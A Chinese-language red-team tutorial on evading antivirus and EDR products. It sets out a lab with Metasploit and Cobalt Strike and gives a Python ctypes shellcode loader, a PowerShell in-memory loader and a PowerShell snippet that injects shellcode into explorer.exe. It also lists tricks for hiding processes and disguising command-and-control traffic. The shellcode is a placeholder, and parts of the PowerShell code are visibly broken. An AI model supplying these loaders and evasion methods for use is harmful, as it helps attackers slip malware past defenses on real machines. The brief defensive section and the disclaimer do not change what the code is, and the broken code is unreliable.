0x01 反其道而行之

在分析免杀技术之前,我们有必要先从防御的角度去理解攻击行为是如何被检测的。俗话说,知己知彼,百战不殆。现代的防御系统,包括杀毒软件和EDR(Endpoint Detection and Response)系统,主要通过特征匹配、行为分析、流量监控等多种方式检测攻击载荷。了解这些检测机制,才能更好地设计出能够逃避检测的免杀技术。
例如,特征匹配是基于已知样本的签名来识别恶意代码,简单直接但也容易被规避。行为分析则不同,通过监控可疑进程的操作来识别潜在威胁,但这需要大量的系统资源,因此通常用于高端EDR解决方案中。流量监控则是通过分析网络流量中的异常模式来发现攻击者的C2(Command and Control)通信。
因此,免杀技术的核心在于如何伪装、规避或中断这些检测机制,让恶意代码能够在目标系统中悄无声息地执行。
0x02 环境搭建那些事儿
为了进行深入的免杀技术探索,我们需要一个真实的安全实验环境。建议使用虚拟化平台,例如VMware或VirtualBox,来搭建一个包含目标系统和攻击机的隔离网络环境。目标系统可以是Windows 10或Windows Server 2022,攻击机可以是Kali Linux或Parrot Security OS。
环境准备步骤
- 安装虚拟化软件:选择VMware Workstation或VirtualBox,安装并配置网络为Host-Only或NAT模式。
- 配置目标系统:安装Windows操作系统,并确保启用Windows Defender或安装第三方杀毒软件以测试免杀效果。建议在系统中安装一些常用的办公软件,以模拟真实办公环境。
- 攻击机准备:在Kali Linux上安装Metasploit、Cobalt Strike等攻击工具,并准备好一些自定义的Payload生成脚本。
- 网络配置:确保攻击机与目标系统之间可以相互通信,必要时调整防火墙策略以允许必要的测试流量。
这样一个易于控制和重置的环境,可以让我们在不怕误伤的情况下,反复尝试和优化我们的免杀技术。

0x03 Payload构造的艺术
所谓免杀的艺术,本质上是Payload构造的艺术。一个成功的免杀Payload需要在功能和隐秘性之间找到平衡。这里我们以Python和PowerShell语言为基础,讲解如何构造一个简单但有效的免杀Payload。
Python免杀Payload
Python是一种强大的攻击载荷构造语言,我们可以利用其丰富的库和动态执行特性来生成复杂的免杀Payload。
<pre><code class="language-python">import base64 import ctypes import subprocess
这里我们使用Base64编码来隐藏我们的Shellcode
shellcode = base64.b64decode("这里是你的编码后的Shellcode")

使用ctypes模块加载Shellcode到内存中
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_void_p ptr = ctypes.windll.kernel32.VirtualAlloc(None, len(shellcode), 0x3000, 0x40) ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_void_p(ptr), shellcode, len(shellcode)) ht = ctypes.windll.kernel32.CreateThread(None, 0, ctypes.c_void_p(ptr), None, 0, None) ctypes.windll.kernel32.WaitForSingleObject(ht, -1)</code></pre>
PowerShell免杀技巧
PowerShell脚本由于其强大的系统管理功能,常被用于攻击载荷中。我们可以利用其内存加载及反射技术实现免杀。
<pre><code class="language-powershell"># 将Shellcode进行Base64编码后放入这里 $code = "[省略的编码后的Shellcode]"
使用反射技术在内存中执行Shellcode
$bytes = [System.Convert]::FromBase64String($code) $unsafeNativeMethods = Add-Type -memberDefinition @" [DllImport("kernel32")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32")] public static extern IntPtr RtlMoveMemory(IntPtr dest, IntPtr src, uint count); "@ -name "UnsafeNativeMethods" -namespace Win32Functions -passThru
$ptr = $unsafeNativeMethods::VirtualAlloc(IntPtr]::Zero, $bytes.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($bytes, 0, $ptr, $bytes.Length) $unsafeNativeMethods::RtlMoveMemory($ptr, [IntPtr, UInt32)</code></pre>
通过对Shellcode进行Base64编码并利用内存加载技术,以上两种Payload在大多数情况下能成功绕过静态签名检测。
0x04 绕过EDR的猫鼠游戏
现今的EDR系统比传统杀毒软件更加智能,往往结合了行为分析和机器学习来检测攻击行为。为了绕过EDR的检测,我们需要更高级的伪装技巧。
常见EDR检测点
- 进程注入行为:EDR通常会监控进程间通信和内存访问行为。
- 恶意DLL注入:通过加载恶意DLL的行为也会被重点监控。
- 异常网络连接:突然出现的外部网络连接可能触发警报。
绕过技巧
- 进程隐匿:使用合法进程作为载体进行进程注入,如svchost.exe和explorer.exe。
- 内存反射加载:避免使用LoadLibrary等传统API加载DLL,而是使用反射技术从内存中加载执行。
- 流量伪装:模仿合法应用程序的网络行为,使用HTTPS协议进行加密通信,并混入正常流量中。
在进行对抗测试时,我们可以利用以下PowerShell脚本来进行简单的进程注入测试,注意确保在合法环境中执行。
<pre><code class="language-powershell">$targetProc = Get-Process | Where-Object { $_.Name -eq "explorer" } $hProcess = [kernel32]::OpenProcess(0x1F0FFF, $false, $targetProc.Id)
生成伪装的Shellcode
$shellcode = [System.Convert]::FromBase64String("[编码后的Shellcode]") $addr = [kernel32]::VirtualAllocEx($hProcess, [IntPtr]::Zero, $shellcode.Length, 0x3000, 0x40) [System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $addr, $shellcode.Length) $hThread = [kernel32]::CreateRemoteThread($hProcess, [IntPtr]::Zero, 0, $addr, [IntPtr]::Zero, 0, [IntPtr]::Zero)</code></pre>
0x05 检测与防御的博弈

虽然作为红队攻击者,我们专注于绕过防御系统,但了解对手的防御策略同样重要。以下是一些常见的检测技术和防御措施。
防御策略
- 启用高级EDR功能:确保EDR系统开启所有高级检测功能,包括内存保护和网络监控。
- 行为监控:使用SIEM(Security Information and Event Management)系统,实时监控系统和网络中的异常行为。
- 流量分析:配置NIDS(Network Intrusion Detection System)来分析网络流量中的可疑模式。
防御实践
虽然攻击者可以利用复杂的免杀技术躲避检测,但基于多层次的防御策略,却能有效降低成功攻击的可能性。定期更新防御产品、加强员工安全意识培训,以及开展渗透测试以发现并修复系统中的潜在漏洞,都是行之有效的防御措施。
0x06 经验之谈
在免杀技术的探索中,我深刻体会到,每一种成功的免杀方案背后,都是对防御系统深入理解和反向利用的结果。不要拘泥于某一种技术,灵活地结合多种技术,才能设计出真正有效的免杀Payload。每一次的失败都是一次学习的机会,分析失败原因,调整策略,不断完善自己的技术。
同时,我建议作为红队攻击者的我们,始终保持对安全新趋势的关注。无论是新出现的防御技术,还是新的攻击向量,都可能成为我们下一个研究的方向。最终的目标,不仅是在技术上击败对手,更是不断提升自己在安全领域的深度和广度。
声明:本文仅限用于授权环境中的安全研究,严禁用于非法目的。